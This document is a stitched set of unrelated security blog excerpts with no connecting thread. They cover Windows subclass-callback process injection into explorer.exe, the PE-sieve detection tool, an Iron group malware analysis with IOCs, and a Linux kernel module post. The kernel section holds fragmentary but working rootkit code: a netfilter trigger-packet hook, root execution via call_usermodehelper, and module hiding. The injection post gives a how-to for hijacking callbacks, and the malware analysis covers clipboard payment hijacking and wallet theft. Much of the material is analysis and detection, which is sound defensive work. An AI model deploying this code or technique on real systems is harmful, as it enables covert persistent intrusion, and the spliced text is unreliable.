Some clever searching by yours truly eventually led to the Windows 2000 source code, which was leaked online in 2004. Behold, the elusive undocumented structures found in subclass.c!

typedef struct _SUBCLASS_CALL {
  SUBCLASSPROC pfnSubclass;    // subclass procedure
  WPARAM       uIdSubclass;    // unique subclass identifier
  DWORD_PTR    dwRefData;      // optional ref data
} SUBCLASS_CALL, *PSUBCLASS_CALL;

typedef struct _SUBCLASS_FRAME {
  UINT    uCallIndex;   // index of next callback to call
  UINT    uDeepestCall; // deepest uCallIndex on stack

// previous subclass frame pointer
  struct _SUBCLASS_FRAME  *pFramePrev;

// header associated with this frame 
  struct _SUBCLASS_HEADER *pHeader;     
} SUBCLASS_FRAME, *PSUBCLASS_FRAME;

typedef struct _SUBCLASS_HEADER {
  UINT           uRefs;        // subclass count
  UINT           uAlloc;       // allocated subclass call nodes
  UINT           uCleanup;     // index of call node to clean up
  DWORD          dwThreadId; // thread id of window we are hooking
  SUBCLASS_FRAME *pFrameCur;   // current subclass frame pointer
  SUBCLASS_CALL  CallArray[1]; // base of packed call node array
} SUBCLASS_HEADER, *PSUBCLASS_HEADER;

At least now there’s no need to reverse engineer how Windows stores information about subclasses. Phew!

Finding suitable targets

I wrongly assumed many processes would be vulnerable to this injection method. I can confirm ollydbg and Process Hacker to be vulnerable as Adam mentions in his post, but I did not test other applications. As it happens, only explorer.exe seemed to be a viable target on a plain Windows 7 installation. Rather than search for an arbitrary process that contained a subclass callback, I decided for the purpose of demonstrations just to stick with explorer.exe.

The code first enumerates all properties for windows created by explorer.exe. An attempt is made to request information about “UxSubclassInfo”, which if successful will return an address pointer to subclass information in the remote process.

Figure 1. shows a list of subclasses associated with process id. I’m as perplexed as you might be about the fact some of these subclass addresses appear multiple times. I didn’t investigate.

Attaching a debugger to process id 5924 or explorer.exe and dumping the first address provides the SUBCLASS_HEADER contents. Figure 2 shows the data for header, with 2 hi-lighted values representing the callback functions.

Disassembly of the pointer 0x7448F439 shows in Figure 3 the code is CallOriginalWndProc located in comctl32.dll

Okay! So now we just read at least one subclass structure from a target process, change the callback address, and wait for explorer.exe to execute the payload. On the other hand, we could write our own SUBCLASS_HEADER to remote memory and update the existing subclass window with SetProp API.

To overwrite SUBCLASS_HEADER, all that’s required is to replace the pointer pfnSubclass with address of payload, and write the structure back to memory. Triggering it may be required unless someone is already using the operating system.

One would be wise to restore the original callback pointer in subclass header after payload has executed, in order to avoid explorer.exe crashing.

Update: Smoke Loader probably initializes its own SUBCLASS_HEADER before writing to remote process. I think either way is probably fine. The method I used didn’t call SetProp API.

Detection

The original author may have additional information on how to detect this injection method, however I think the following strings and API are likely sufficient to merit closer investigation of code.

Strings

• UxSubclassInfo
• CC32SubclassInfo
• explorer.exe

API

• OpenProcess
• ReadProcessMemory
• WriteProcessMemory
• GetPropA/GetPropW
• SetPropA/SetPropW

Conclusion

This injection method is trivial to implement, and because it affects many versions of Windows, I was surprised nobody published code to show how it worked. Nevertheless, it really is just a case of hooking callback functions in a remote process, and there are many more just like subclass. More to follow!

PE-sieve (previously known as Hook Finder) is open source tool based on libpeconv.
It scans a given process, searching for manually loaded or modified modules. When found, it dumps the modified/suspicious PE along with a report in JSON format, detailing about the found indicators.
Currently it detects inline hooks, hollowed processes, Process Doppelgänging, injected PE files etc. In case if the PE file was patched in the memory, it gives a detailed report about where are the changed bytes (and few other properties).

The tool is under rapid development, so expect frequent updates.

PE-sieve is available in 2 versions – as standalone executable, and as a DLL. The DLL version became a base of my other project: HollowsHunter – that makes an automated scan of all the running processes. More about it in the further part of the post.

Where to get it?

The tool is open-source, available on my github:

  https://github.com/hasherezade/pe-sieve

Usage

It has a simple, commandline interface. When run without parameters, it displays info about the version and required arguments:

When you run it giving a PID of the running process, it scans all the PE modules in its memory (the main executable, but also all the loaded DLLs). At the end, you can see the summary of how many anomalies have been detected of which type.

In case if some modified modules has been detected, they are dumped to a folder of a given process, for example:

Short history & features

Detecting inline hooks and patches

I started creating it for the purpose of searching and examining inline hooks. You can see it in action here (old version):

It not only detects that there IS an anomaly/patch, but also WHERE exactly it is. For each dumped PE where the patches were found, it creates a file with tags, that can be loaded by PE-bear.

Thanks to this, we can easily browse the found hooks and check the code that was overwritten.

For example – in the application presented above, the Entry Point was patched and the execution was redirected to the added, malicious section:

Detecting hollowed processes

Later, I extended it to detect process hollowing etc – and it turned out to be pretty convenient unpacker:

Detecting Process Doppelgänging

In a similar manner, it can detects some other methods of impersonating a processes, for example Process Doppelgänging. The malicious payload is directly dumped and ready to be analyzed:

Recovering erased imports

PE-sieve has an ability to recover erased imports. In order to enable it, deploy it with appropriate option. Example – unpacking manually loaded payloads with imports erased (Emotet):

Future development

The project is still not finished and I have many ideas how to make it better. I am planning to detect not only code modifications, but also other types of hooking, such as IAT and EAT patching.

Some in-memory patches are done by legitimate applications, so, in the future version I will provide capability of whitelisting defined patches.

I am also planning to extend its dumping capabilities against the malicious processes that are trying to defend themselves against dumpers etc.

During the development process I got an idea to make a DLL version of the PE-sieve, so that it can be incorporated in other projects.

Building PE-sieve from sources as a DLL is very easy – you just need to set one CMake option: PE_SIEVE_AS_DLL:

The PE-sieve DLL exposes a minimalistic API. Two functions are exported:

1. PESieve_help – displays a short info and the version of the DLL.
2. PESieve_scan – a typical scan with a given parameters, like in the PE-Sieve.exe

The necessary headers needs to be included from the folder “pe-sieve\include“:

https://github.com/hasherezade/pe-sieve/tree/master/include

I have plans to enrich the API in the future. For now, you can see the PE-sieve DLL in action in the HollowsHunter project.

Ideas? Bugs?

If you noticed bug or have an idea for a useful feature, don’t hesitate to mail me or create a Github issue – I check them regularly:

https://github.com/hasherezade/pe-sieve/issues

In April 2018, while monitoring public data feeds, we noticed an interesting and previously unknown backdoor using HackingTeam’s leaked RCS source code. We discovered that this backdoor was developed by the Iron cybercrime group, the same group behind the Iron ransomware (rip-off Maktub ransomware recently discovered by Bart Parys), which we believe has been active for the past 18 months.

During the past year and a half, the Iron group has developed multiple types of malware (backdoors, crypto-miners, and ransomware) for Windows, Linux and Android platforms. They have used their malware to successfully infect, at least, a few thousand victims.

In this technical blog post we are going to take a look at the malware samples found during the research.

Technical Analysis:

Installer:

** This installer sample (and in general most of the samples found) is protected with VMProtect then compressed using UPX.

Installation process:

1. Check if the binary is executed on a VM, if so – ExitProcess

2. Drop & Install malicious chrome extension
%localappdata%\Temp\chrome.crx
3. Extract malicious chrome extension to %localappdata%\Temp\chrome & create a scheduled task to execute %localappdata%\Temp\chrome\sec.vbs.
4. Create mutex using the CPU’s version to make sure there’s no existing running instance of itself.
5. Drop backdoor dll to %localappdata%\Temp\\<random>.dat.
6. Check OS version:
.If Version == Windows XP then just invoke ‘Launch’ export of Iron Backdoor for a one-time non persistent execution.
.If Version > Windows XP
-Invoke ‘Launch’ export
-Check if Qhioo360 – only if not proceed, Install malicious certificate used to sign Iron Backdoor binary as root CA.Then create a service called ‘helpsvc’ pointing back to Iron Backdoor dll.

Using the leaked HackingTeam source code:

Once we Analyzed the backdoor sample, we immediately noticed it’s partially based on HackingTeam’s source code for their Remote Control System hacking tool, which leaked about 3 years ago. Further analysis showed that the Iron cybercrime group used two main functions from HackingTeam’s source in both IronStealer and Iron ransomware.

1.Anti-VM: Iron Backdoor uses a virtual machine detection code taken directly from HackingTeam’s “Soldier” implant leaked source code. This piece of code supports detecting Cuckoo Sandbox, VMWare product & Oracle’s VirtualBox. Screenshot:

2. Dynamic Function Calls: Iron Backdoor is also using the DynamicCall module from HackingTeam’s “core” library. This module is used to dynamically call external library function by obfuscated the function name, which makes static analysis of this malware more complex.
In the following screenshot you can see obfuscated “LFSOFM43/EMM” and “DsfbufGjmfNbqqjohB”, which represents “kernel32.dll” and “CreateFileMappingA” API.

For a full list of obfuscated APIs you can visit obfuscated_calls.h.

Malicious Chrome extension:

A patched version of the popular Adblock Plus chrome extension is used to inject both the in-browser crypto-mining module (based on CryptoNoter) and the in-browser payment hijacking module.

**patched include.preload.js injects two malicious scripts from the attacker’s Pastebin account.

The malicious extension is not only loaded once the user opens the browser, but also constantly runs in the background, acting as a stealth host based crypto-miner. The malware sets up a scheduled task that checks if chrome is already running, every minute, if it isn’t, it will “silent-launch” it as you can see in the following screenshot:

Internet Explorer(deprecated):

Iron Backdoor itself embeds adblockplusie – Adblock Plus for IE, which is modified in a similar way to the malicious chrome extension, injecting remote javascript. It seems that this functionality is no longer automatically used for some unknown reason.

Persistence:

Before installing itself as a Windows service, the malware checks for the presence of either 360 Safe Guard or 360 Internet Security by reading following registry keys:

.SYSTEM\CurrentControlSet\Services\zhudongfangyu.
.SYSTEM\CurrentControlSet\Services\360rp

If one of these products is installed, the malware will only run once without persistence. Otherwise, the malware will proceed to installing rouge, hardcoded root CA certificate on the victim’s workstation. This fake root CA supposedly signed the malware’s binaries, which will make them look legitimate.

Comic break: The certificate is protected by the password ‘caonima123’, which means “f*ck your mom” in Mandarin.

IronStealer (<RANDOM>.dat):

Persistent backdoor, dropper and cryptocurrency theft module.

1. Load Cobalt Strike beacon:
The malware automatically decrypts hard coded shellcode stage-1, which in turn loads Cobalt Strike beacon in-memory, using a reflective loader:

Beacon: hxxp://dazqc4f140wtl.cloudfront[.]net/ZZYO

2. Drop & Execute payload: The payload URL is fetched from a hardcoded Pastebin paste address:

We observed two different payloads dropped by the malware:

1. Xagent – A variant of “JbossMiner Mining Worm” – a worm written in Python and compiled using PyInstaller for both Windows and Linux platforms. JbossMiner is using known database vulnerabilities to spread. “Xagent” is the original filename Xagent<VER>.exe whereas <VER> seems to be the version of the worm. The last version observed was version 6 (Xagent6.exe).

**Xagent versions 4-6 as seen by VT

2. Iron ransomware – We recently saw a shift from dropping Xagent to dropping Iron ransomware. It seems that the wallet & payment portal addresses are identical to the ones that Bart observed. Requested ransom decreased from 0.2 BTC to 0.05 BTC, most likely due to the lack of payment they received.

**Nobody paid so they decreased ransom to 0.05 BTC

3. Stealing cryptocurrency from the victim’s workstation: Iron backdoor would drop the latest voidtool Everything search utility and actually silent install it on the victim’s workstation using msiexec. After installation was completed, Iron Backdoor uses Everything in order to find files that are likely to contain cryptocurrency wallets, by filename patterns in both English and Chinese.

Full list of patterns extracted from sample:
– Wallet.dat
– UTC–
– Etherenum keystore filename
– *bitcoin*.txt
– *比特币*.txt
– “Bitcoin”
– *monero*.txt
– *门罗币*.txt
– “Monroe Coin”
– *litecoin*.txt
– *莱特币*.txt
– “Litecoin”
– *Ethereum*.txt
– *以太币*.txt
– “Ethereum”
– *miner*.txt
– *挖矿*.txt
– “Mining”
– *blockchain*.txt
– *coinbase*

4. Hijack on-going payments in cryptocurrency: IronStealer constantly monitors the user’s clipboard for Bitcoin, Monero & Ethereum wallet address regex patterns. Once matched, it will automatically replace it with the attacker’s wallet address so the victim would unknowingly transfer money to the attacker’s account:

Pastebin Account:

As part of the investigation, we also tried to figure out what additional information we may learn from the attacker’s Pastebin account:

The account was probably created using the mail fineisgood123@gmail[.]com – the same email address used to register blockbitcoin[.]com (the attacker’s crypto-mining pool & malware host) and swb[.]one (Old server used to host malware & leaked files. replaced by u.cacheoffer[.]tk):

1. Index.html: HTML page referring to a fake Firefox download page.
2. crystal_ext-min + angular: JS inject using malicious Chrome extension.
3. android: This paste holds a command line for an unknown backdoored application to execute on infected Android devices. This command line invokes remote Metasploit stager (android.apk) and drops cpuminer 2.3.2 (minerd.txt) built for ARM processor. Considering the last update date (18/11/17) and the low number of views, we believe this paste is obsolete.

4. androidminer: Holds the cpuminer command line to execute for unknown malicious android applications, at the time of writing this post, this paste received nearly 2000 hits.

Aikapool[.]com is a public mining pool and port 7915 is used for DogeCoin:

The username (myapp2150) was used to register accounts in several forums and on Reddit. These accounts were used to advertise fake “blockchain exploit tool”, which infects the victim’s machine with Cobalt Strike, using a similar VBScript to the one found by Malwrologist (ps5.sct).

XAttacker: Copy of XAttacker PHP remote file upload script.
miner: Holds payload URL, as mentioned above (IronStealer).

FAQ:

How many victims are there?
It is hard to define for sure, , but to our knowledge, the total of the attacker’s pastes received around 14K views, ~11K for dropped payload URL and ~2k for the android miner paste. Based on that, we estimate that the group has successfully infected, a few thousands victims.

Who is Iron group?
We suspect that the person or persons behind the group are Chinese, due in part to the following findings:
. There were several leftover comments in the plugin in Chinese.
. Root CA Certificate password (‘f*ck your mom123’ was in Mandarin)
We also suspect most of the victims are located in China, because of the following findings:
. Searches for wallet file names in Chinese on victims’ workstations.
. Won’t install persistence if Qhioo360(popular Chinese AV) is found

IOCS:

• blockbitcoin[.]com
• pool.blockbitcoin[.]com
• ssl2.blockbitcoin[.]com
• xmr.enjoytopic[.]tk
• down.cacheoffer[.]tk
• dzebppteh32lz.cloudfront[.]net
• dazqc4f140wtl.cloudfront[.]net
• androidapt.s3-accelerate.amazonaws[.]com
• androidapt.s3-accelerate.amazonaws[.]com
• winapt.s3-accelerate.amazonaws[.]com
• swb[.]one
• bitcoinwallet8[.]com
• blockchaln[.]info
• 6350a42d423d61eb03a33011b6054fb7793108b7e71aee15c198d3480653d8b7
• a4faaa0019fb63e55771161e34910971fd8fe88abda0ab7dd1c90cfe5f573a23
• ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9
• 654ec27ea99c44edc03f1f3971d2a898b9f1441de156832d1507590a47b41190
• 980a39b6b72a7c8e73f4b6d282fae79ce9e7934ee24a88dde2eead0d5f238bda
• 39a991c014f3093cdc878b41b527e5507c58815d95bdb1f9b5f90546b6f2b1f6
• a3c8091d00575946aca830f82a8406cba87aa0b425268fa2e857f98f619de298
• 0f7b9151f5ff4b35761d4c0c755b6918a580fae52182de9ba9780d5a1f1beee8
• ea338755e8104d654e7d38170aaae305930feabf38ea946083bb68e8d76a0af3
• 4de16be6a9de62b1ff333dd94e63128e677eb6a52d9fbbe55d8a09a2cab161f1
• 92b4eed5d17cb9892a9fe146d61787025797e147655196f94d8eaf691c34be8c
• 6314162df5bc2db1200d20221641abaac09ac48bc5402ec29191fd955c55f031
• 7f3c07454dab46b27e11fcefd0101189aa31e84f8498dcb85db2b010c02ec190
• 927e61b57c124701f9d22abbc72f34ebe71bf1cd717719f8fc6008406033b3e9
• f1cbacea1c6d05cd5aa6fc9532f5ead67220d15008db9fa29afaaf134645e9de
• 1d34a52f9c11d4bf572bf678a95979046804109e288f38dfd538a57a12fc9fd1
• 2f5fb4e1072044149b32603860be0857227ed12cde223b5be787c10bcedbc51a
• 0df1105cbd7bb01dca7e544fb22f45a7b9ad04af3ffaf747b5ecc2ffcd8c6dee
• 388c1aecdceab476df8619e2d722be8e5987384b08c7b810662e26c42caf1310
• 0b8473d3f07a29820f456b09f9dc28e70af75f9dec88668fb421a315eec9cb63
• 251345b721e0587f1f08f54a81e26abac075acf3c4473a2c3ba8efcedc3b2459
• b1fe223cbb01ff2a658c8ff51d386b5df786fd36278ee081c714adf946145047
• 2886e25a86a57355a8a09a84781a9b032de10c3e40339a9ad0c10b63f7f8e7c7
• 1d17eb102e75c08ab6f54387727b12ec9f9ee1960c8e5dc7f9925d41a943cabf
• 5831dabe27e0211028296546d4e637770fd1ec5f2c8c5add51d0ea09b6ea3f0d
• 85b0d44f3e8fd636a798960476a1f71d6fe040fbe44c92dfa403d0d014ff66cc
• 936f4ce3570017ef5db14fb68f5e775a417b65f3b07094475798f24878d84907
• 484b4cd953c9993090947fbb31626b76d7eee60c106867aa17e408556d27b609
• 1cbd51d387561cafddf10699177a267cd5d2d184842bb43755a0626fdc4f0f3c
• e41a805d780251cb591bcd02e5866280f8a99f876cfa882b557951e30dfdd142
• b8107197469839a82cae25c3d3b5c25b5c0784736ca3b611eb3e8e3ced8ec950
• b0442643d321003af965f0f41eb90cff2a198d11b50181ef8b6f530dd22226a7
• 657a3a4a78054b8d6027a39a5370f26665ee10e46673a1f4e822a2a31168e5f9
• 5977bee625ed3e91c7f30b09be9133c5838c59810659057dcfd1a5e2cf7c1936
• 9ea69b49b6707a249e001b5f2caaab9ee6f6f546906445a8c51183aafe631e9f
• 283536c26bb4fd4ea597d59c77a84ab812656f8fe980aa8556d44f9e954b1450
• 21f1a867fa6a418067be9c68d588e2eeba816bffcb10c9512f3b7927612a1221
• 45f794304919c8aa9282b0ee84c198703a41cc2254fe93634642ada3511239d2
• 70e47fdff286fdfe031d05488bc727f5df257eacaa0d29431fb69ce680f6fb0c
• ce7161381a0a0495ef998b5e202eb3e8fa2945dfdba0fd2a612d68b986c92678
• b8d548ab2a1ce0cf51947e63b37fe57a0c9b105b2ef36b0abc1abf26d848be00
• 74e777af58a8ee2cff4f9f18013e5b39a82a4c4f66ea3e17d06e5356085265b7
• cd4d1a6b3efb3d280b8d4e77e306e05157f6ef8a226d7db08ac2006cce95997c
• 78a07502443145d762536afaabd4d6139b81ca3cc9f8c28427ec724a3107e17b
• 729ab4ff5da471f210a8658f4a7b2a30522534a212ac44e4d76f258baab19ccb
• ca0df32504d3cf78d629e33b055213df5f71db3d5a0313ebc07fe2c05e506826
• fc9d150d1a7cbda2600e4892baad91b9a4b8c52d31a41fd686c21c7801d1dd8c
• bf2984b866c449a8460789de5871864eec19a7f9cadd7d883898135a4898a38a
• 9d817d77b651d2627e37c01037e13808e1047f9528799a435c7bc04e877d70b3
• 8fdec2e23032a028b8bd326dc709258a2f705c605f6222fc0c1616912f246f91
• dbe165a63ed14e6c9bdcd314cf54d173e68db9d36623b09057d0a4d0519f1306
• 64f96042ab880c0f2cd4c39941199806737957860387a65939b656d7116f0c7e
• e394b1a1561c94621dbd63f7b8ea7361485a1f903f86800d50bd7e27ad801a5f
• 506647c5bfad858ff6c34f93c74407782abbac4da572d9f44112fee5238d9ae1
• 194362ce71adcdfa0fe976322a7def8bb2d7fb3d67a44716aa29c2048f87f5bc
• 3652ea75ce5d8cfa0000a40234ae3d955781bcb327eecfee8f0e2ecae3a82870
• 97d41633e74eccf97918d248b344e62431b74c9447032e9271ed0b5340e1dba0
• a8ab5be12ca80c530e3ef5627e97e7e38e12eaf968bf049eb58ccc27f134dc7f
• 37bea5b0a24fa6fed0b1649189a998a0e51650dd640531fe78b6db6a196917a7
• 7e750be346f124c28ddde43e87d0fbc68f33673435dddb98dda48aa3918ce3bd
• fcb700dbb47e035f5379d9ce1ada549583d4704c1f5531217308367f2d4bd302
• b638dcce061ed2aa5a1f2d56fc5e909aa1c1a28636605a3e4c0ad72d49b7aec6
• f2e4528049f598bdb25ce109a669a1f446c6a47739320a903a9254f7d3c69427
• afd7ab6b06b87545c3a6cdedfefa63d5777df044d918a505afe0f57179f246e9
• 9b654fd24a175784e3103d83eba5be6321142775cf8c11c933746d501ca1a5a1
• e6c717b06d7ded23408461848ad0ee734f77b17e399c6788e68bc15219f155d7
• e302aa06ad76b7e26e7ba2c3276017c9e127e0f16834fb7c8deae2141db09542
• d020ea8159bb3f99f394cd54677e60fadbff2b91e1a2e91d1c43ba4d7624244d
• 36104d9b7897c8b550a9fad9fe2f119e16d82fb028f682d39a73722822065bd3
• d20cd3e579a04c5c878b87cc7bd6050540c68fdd8e28f528f68d70c77d996b16
• ee859581b2fcea5d4ff633b5e40610639cd6b11c2b4fc420720198f49fbd1d31
• ef2c384c795d5ca8ce17394e278b5c98f293a76047a06fc672da38bb56756aec
• bd56db8d304f36af7cb0380dcbbc3c51091e3542261affb6caac18fa6a6988ec
• 086d989f14e14628af821b72db00d0ef16f23ba4d9eaed2ec03d003e5f3a96a1
• f44c3fd546b8c74cc58630ebcb5bea417696fac4bb89d00da42202f40da31354
• 320bb1efa1263c636702188cd97f68699aebbb88c2c2c92bf97a68e689fa6f89
• 42faf3af09b955de1aead2b99a474801b2c97601a52541af59d35711fafb7c6d
• 6e0adfd1e30c116210f469d76e60f316768922df7512d40d5faf65820904821b
• eea2d72f3c9bed48d4f5c5ad2bef8b0d29509fc9e650655c6c5532cb39e03268
• 1a31e09a2a982a0fedd8e398228918b17e1bde6b20f1faf291316e00d4a89c61
• 042efe5c5226dd19361fb832bdd29267276d7fa7a23eca5ced3c2bb7b4d30f7d
• 274717d4a4080a6f2448931832f9eeb91cc0cbe69ff65f2751a9ace86a76e670
• f8751a004489926ceb03321ea3494c54d971257d48dadbae9e8a3c5285bd6992
• d5a296bac02b0b536342e8fb3b9cb40414ea86aa602353bc2c7be18386b13094
• 49cfeb6505f0728290286915f5d593a1707e15effcfb62af1dd48e8b46a87975
• 5f2b13cb2e865bb09a220a7c50acc3b79f7046c6b83dbaafd9809ecd00efc49a
• 5a5bbc3c2bc2d3975bc003eb5bf9528c1c5bf400fac09098490ea9b5f6da981f
• 2c025f9ffb7d42fcc0dc8d056a444db90661fb6e38ead620d325bee9adc2750e
• aaa6ee07d1c777b8507b6bd7fa06ed6f559b1d5e79206c599a8286a0a42fe847
• ac89400597a69251ee7fc208ad37b0e3066994d708e15d75c8b552c50b57f16a
• a11bf4e721d58fcf0f44110e17298f6dc6e6c06919c65438520d6e90c7f64d40
• 017bdd6a7870d120bd0db0f75b525ddccd6292a33aee3eecf70746c2d37398bf
• ae366fa5f845c619cacd583915754e655ad7d819b64977f819f3260277160141
• 9b40a0cd49d4dd025afbc18b42b0658e9b0707b75bb818ab70464d8a73339d52
• 57daa27e04abfbc036856a22133cbcbd1edb0662617256bce6791e7848a12beb
• 6c54b73320288c11494279be63aeda278c6932b887fc88c21c4c38f0e18f1d01
• ba644e050d1b10b9fd61ac22e5c1539f783fe87987543d76a4bb6f2f7e9eb737
• 21a83eeff87fba78248b137bfcca378efcce4a732314538d2e6cd3c9c2dd5290
• 2566b0f67522e64a38211e3fe66f340daaadaf3bcc0142f06f252347ebf4dc79
• 692ae8620e2065ad2717a9b7a1958221cf3fcb7daea181b04e258e1fc2705c1e
• 426bc7ffabf01ebfbcd50d34aecb76e85f69e3abcc70e0bcd8ed3d7247dba76e

An explanation of how debugfs and nf hooks can be used to remotely execute code.

<span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">dentry</span> *<span class="hljs-title">dfs</span> = <span class="hljs-title">NULL</span>;</span>

<span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">debugfs_blob_wrapper</span> *<span class="hljs-title">myblob</span> = <span class="hljs-title">NULL</span>;</span>



<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">create_file</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>{

    <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *buffer = <span class="hljs-string">"\

#!/usr/bin/env python\n\

with open("/tmp/i_am_groot", "w+") as f:\n\

    f.write("Hello, world!")"</span>;



    myblob = kmalloc(<span class="hljs-keyword">sizeof</span> *myblob, GFP_KERNEL);

    <span class="hljs-keyword">if</span> (!myblob){

        <span class="hljs-keyword">return</span> -ENOMEM;

    }



    myblob-&gt;data = (<span class="hljs-keyword">void</span> *) buffer;

    myblob-&gt;size = (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span>) <span class="hljs-built_in">strlen</span>(buffer);



    dfs = debugfs_create_blob(<span class="hljs-string">"debug_exec"</span>, <span class="hljs-number">0777</span>, <span class="hljs-literal">NULL</span>, myblob);

    <span class="hljs-keyword">if</span> (!dfs){

        kfree(myblob);

        <span class="hljs-keyword">return</span> -EINVAL;

    }

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;

}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">destroy_file</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>{

    <span class="hljs-keyword">if</span> (dfs){

        debugfs_remove(dfs);

    }

}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">execute_file</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>{

    <span class="hljs-keyword">static</span> <span class="hljs-keyword">char</span> *envp[] = {

        <span class="hljs-string">"SHELL=/bin/bash"</span>,

        <span class="hljs-string">"PATH=/usr/local/sbin:/usr/local/bin:"</span>\

            <span class="hljs-string">"/usr/sbin:/usr/bin:/sbin:/bin"</span>,

        <span class="hljs-literal">NULL</span>

    };



    <span class="hljs-keyword">char</span> *argv[] = {

        <span class="hljs-string">"/sys/kernel/debug/debug_exec"</span>,

        <span class="hljs-literal">NULL</span>

    };



    call_usermodehelper(argv[<span class="hljs-number">0</span>], argv, envp, UMH_WAIT_EXEC);

}

<span class="hljs-function"><span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> <span class="hljs-title">function_name</span> <span class="hljs-params">(

        <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> hooknum,

        struct sk_buff *skb,

        <span class="hljs-keyword">const</span> struct net_device *in,

        <span class="hljs-keyword">const</span> struct net_device *out,

        <span class="hljs-keyword">int</span> (*okfn)</span><span class="hljs-params">(struct sk_buff *)</span>

)</span>;

<span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">iphdr</span> *<span class="hljs-title">ip_header</span>;</span>



ip_header = (struct iphdr *)skb_network_header(skb);

<span class="hljs-keyword">if</span> (!ip_header){

    <span class="hljs-keyword">return</span> NF_ACCEPT;

}

<span class="hljs-keyword">if</span> (ip_header-&gt;protocol == IPPROTO_ESP){

    <span class="hljs-comment">// Packet is an ESP packet</span>

}

<span class="hljs-keyword">if</span> ((esp_header-&gt;spi == TARGET_SPI) &amp;&amp;

    (esp_header-&gt;seq_no == TARGET_SEQ)){

    <span class="hljs-comment">// Trigger packet arrived</span>

}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">execute_file</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>{

    <span class="hljs-keyword">static</span> <span class="hljs-keyword">char</span> *envp[] = {

        <span class="hljs-string">"SHELL=/bin/bash"</span>,

        <span class="hljs-string">"HOME=/root/"</span>,

        <span class="hljs-string">"USER=root"</span>,

        <span class="hljs-string">"PATH=/usr/local/sbin:/usr/local/bin:"</span>\

            <span class="hljs-string">"/usr/sbin:/usr/bin:/sbin:/bin"</span>,

        <span class="hljs-string">"DISPLAY=:0"</span>,

        <span class="hljs-string">"PWD=/"</span>, 

        <span class="hljs-literal">NULL</span>

    };



    <span class="hljs-keyword">char</span> *argv[] = {

        <span class="hljs-string">"/sys/kernel/debug/debug_exec"</span>,

        <span class="hljs-literal">NULL</span>

    };



    call_usermodehelper(argv[<span class="hljs-number">0</span>], argv, envp, UMH_WAIT_PROC);

}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">execute_file</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>{

    <span class="hljs-keyword">static</span> <span class="hljs-keyword">char</span> *envp[] = {

        <span class="hljs-string">"SHELL=/bin/bash"</span>,

        <span class="hljs-string">"HOME=/root/"</span>,

        <span class="hljs-string">"USER=root"</span>,

        <span class="hljs-string">"PATH=/usr/local/sbin:/usr/local/bin:"</span>\

            <span class="hljs-string">"/usr/sbin:/usr/bin:/sbin:/bin"</span>,

        <span class="hljs-string">"DISPLAY=:0"</span>,

        <span class="hljs-string">"PWD=/"</span>, 

        <span class="hljs-literal">NULL</span>

    };



    <span class="hljs-keyword">char</span> *argv[] = {

        <span class="hljs-string">"/usr/bin/go"</span>,

        <span class="hljs-string">"run"</span>,

        <span class="hljs-string">"/sys/kernel/debug/debug_exec.go"</span>,

        <span class="hljs-literal">NULL</span>

    };



    call_usermodehelper(argv[<span class="hljs-number">0</span>], argv, envp, UMH_WAIT_PROC);

}

<span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">list_head</span> *<span class="hljs-title">module</span>;</span>

<span class="hljs-keyword">int</span> module_visible = <span class="hljs-number">1</span>;



<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">module_unhide</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>{

    <span class="hljs-keyword">if</span> (!module_visible){

        list_add(&amp;(&amp;__this_module)-&gt;<span class="hljs-built_in">list</span>, <span class="hljs-keyword">module</span>);

        module_visible++;

    }

}



<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">module_hide</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>{

    <span class="hljs-keyword">if</span> (module_visible){

        <span class="hljs-keyword">module</span> = (&amp;__this_module)-&gt;<span class="hljs-built_in">list</span>.prev;

        list_del(&amp;(&amp;__this_module)-&gt;<span class="hljs-built_in">list</span>);

        module_visible--;

    }

}

<span class="hljs-comment"># Mounted without noexec (default)</span>

<span class="hljs-attribute">cat</span> /etc/mtab | grep <span class="hljs-string">"debugfs"</span>

ls -la /tmp/i_am_groot

sudo insmod test.ko

ls -la /tmp/i_am_groot

sudo rmmod test.ko

sudo rm /tmp/i_am_groot

sudo umount /sys/kernel/debug

<span class="hljs-comment"># Mounted with noexec</span>

<span class="hljs-attribute">sudo</span> mount -t debugfs <span class="hljs-literal">none</span> -o rw,noexec /sys/kernel/debug

ls -la /tmp/i_am_groot

sudo insmod test.ko

ls -la /tmp/i_am_groot

sudo rmmod test.ko

Quickly analyze and reverse engineer Android applications.

FEATURES:

• Displays all extracted files for easy reference
• Automatically decompile APK files to Java and Smali format
• Analyze AndroidManifest.xml for common vulnerabilities and behavior
• Static source code analysis for common vulnerabilities and behavior
  • Device info
  • Intents
  • Command execution
  • SQLite references
  • Logging references
  • Content providers
  • Broadcast recievers
  • Service references
  • File references
  • Crypto references
  • Hardcoded secrets
  • URL’s
  • Network connections
  • SSL references
  • WebView references

INSTALL:

./install

USAGE:

reverse-apk <apk_name>